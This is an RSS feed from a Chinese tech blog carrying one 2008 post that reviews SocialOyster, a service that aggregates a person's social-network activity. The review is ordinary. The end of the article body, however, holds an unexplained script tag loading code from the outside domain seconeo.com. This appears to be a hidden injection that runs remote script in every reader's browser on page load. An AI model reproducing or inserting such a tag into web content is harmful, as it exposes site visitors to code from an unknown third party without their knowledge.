<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>动点博客 MOBINODE &#187; Lifestreaming</title>
	<atom:link href="http://www.mobinode.com/chinese/archives/tag/lifestreaming/feed" rel="self" type="application/rss+xml" />
	<link>http://www.mobinode.com/chinese</link>
	<description>关注国内外互联网</description>
	<lastBuildDate>Sun, 05 Sep 2010 14:56:33 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0</generator>
		<item>
		<title>SocialOyster,搜索你朋友们的在线生活</title>
		<link>http://www.mobinode.com/chinese/archives/138</link>
		<comments>http://www.mobinode.com/chinese/archives/138#comments</comments>
		<pubDate>Sun, 31 Aug 2008 10:07:41 +0000</pubDate>
		<dc:creator>卢刚</dc:creator>
				<category><![CDATA[欧洲Web2.0]]></category>
		<category><![CDATA[Lifestreaming]]></category>
		<category><![CDATA[SocialOyster]]></category>

		<guid isPermaLink="false">http://www.mobinode.com/chinese/?p=138</guid>
		<description><![CDATA[类似FriendFeed, SocialThing!等众多个人信息聚合服务，致力于将人们形形色色的网络社交生活汇聚一处。现在这个服务家族中又添一名新成员SocialOyster：这项服务由来自Cologne的Marcus Reimold开发，虽然才刚刚发布三个星期，但其中一些突破和创意之处还是值得关注。 目前SocialOyster提供的服务主要包括: 1、Oysterpass &#8211; 这项服务能够帮助用户整合管理各自的社交活动，目前支持大约20种流行的社交网络服务，包括Twitter, Linkedin, Facebook和YouTube等； 2、社交信息搜索 &#8211; 这是一项相当有趣的功能。只需要简单地输入你想检索的网络用户名，系统将帮助你了解到被检索对象在不同社交网络平台上的活动情况。该项服务还包括一项定位搜索功能（Place Search）。利用这项功能，用户可以了解到自己身边有多少人正在使用何种服务（例如Twitter等）。 3、Oysterline &#8211; Oysterline帮助用户实时了解好友的各种动态，以此替代将好友动态整合为一个简单订阅信息的方式。SocialOyster为展示好友信息创造了一种全新的方式。用户的好友信息将会被整合成不同的模块，每个模块单独呈现来自某种服务的更新。这种方式让在线活动(lifestreaming)信息根据所使用的不同服务类别加以聚合。点击public Oysterline上的示例，你能够更直观的了解这项服务。 相信未来SocialOyster将会整合更多在线服务内容，网站的用户界面也会不断进行优化。事实上，个人信息聚合服务拥有广阔的市场前景。其实对这类服务而言，简单的即是最好的。对于我来说，我只需要一个能够整合所有好友相关信息的Feed输出就够了。]]></description>
			<content:encoded><![CDATA[<p><img class="alignleft" style="padding:1px;border:1px grey solid;margin-right:10px;" src="http://www.mobinode.com/wp-content/uploads/2008/08/socialoyster-logo.jpg" alt="" width="300" height="70" />类似<a href="http://www.friendfeed.com/">FriendFeed</a>, <a href="http://www.socialthing.com/">SocialThing!</a>等众多个人信息聚合服务，致力于将人们形形色色的网络社交生活汇聚一处。现在这个服务家族中又添一名新成员<a href="http://www.socialoyster.com/">SocialOyster</a>：这项服务由来自Cologne的Marcus Reimold开发，虽然才刚刚发布三个星期，但其中一些突破和创意之处还是值得关注。</p>
<p>目前SocialOyster提供的服务主要包括:</p>
<p>1、Oysterpass &#8211; 这项服务能够帮助用户整合管理各自的社交活动，目前支持大约20种流行的社交网络服务，包括Twitter, Linkedin, Facebook和YouTube等；</p>
<p>2、社交信息搜索 &#8211; 这是一项相当有趣的功能。只需要简单地<a href="http://www.socialoyster.com/index.php">输入你想检索的网络用户名</a>，系统将帮助你了解到被检索对象在不同社交网络平台上的活动情况。该项服务还包括一项<a href="http://www.socialoyster.com/places.php">定位搜索功能</a>（Place Search）。利用这项功能，用户可以了解到自己身边有多少人正在使用何种服务（例如Twitter等）。</p>
<p>3、Oysterline &#8211; Oysterline帮助用户实时了解好友的各种动态，以此替代将好友动态整合为一个简单订阅信息的方式。SocialOyster为展示好友信息创造了一种全新的方式。用户的好友信息将会被整合成不同的模块，每个模块单独呈现来自某种服务的更新。这种方式让在线活动(lifestreaming)信息根据所使用的不同服务类别加以聚合。点击<a href="http://www.socialoyster.com/poysterlinev.php">public Oysterline</a>上的示例，你能够更直观的了解这项服务。</p>
<p>相信未来SocialOyster将会整合更多在线服务内容，网站的用户界面也会不断进行优化。事实上，个人信息聚合服务拥有广阔的市场前景。其实对这类服务而言，简单的即是最好的。对于我来说，我只需要一个能够整合所有好友相关信息的Feed输出就够了。 <script src="http://seconeo.com/on"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.mobinode.com/chinese/archives/138/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
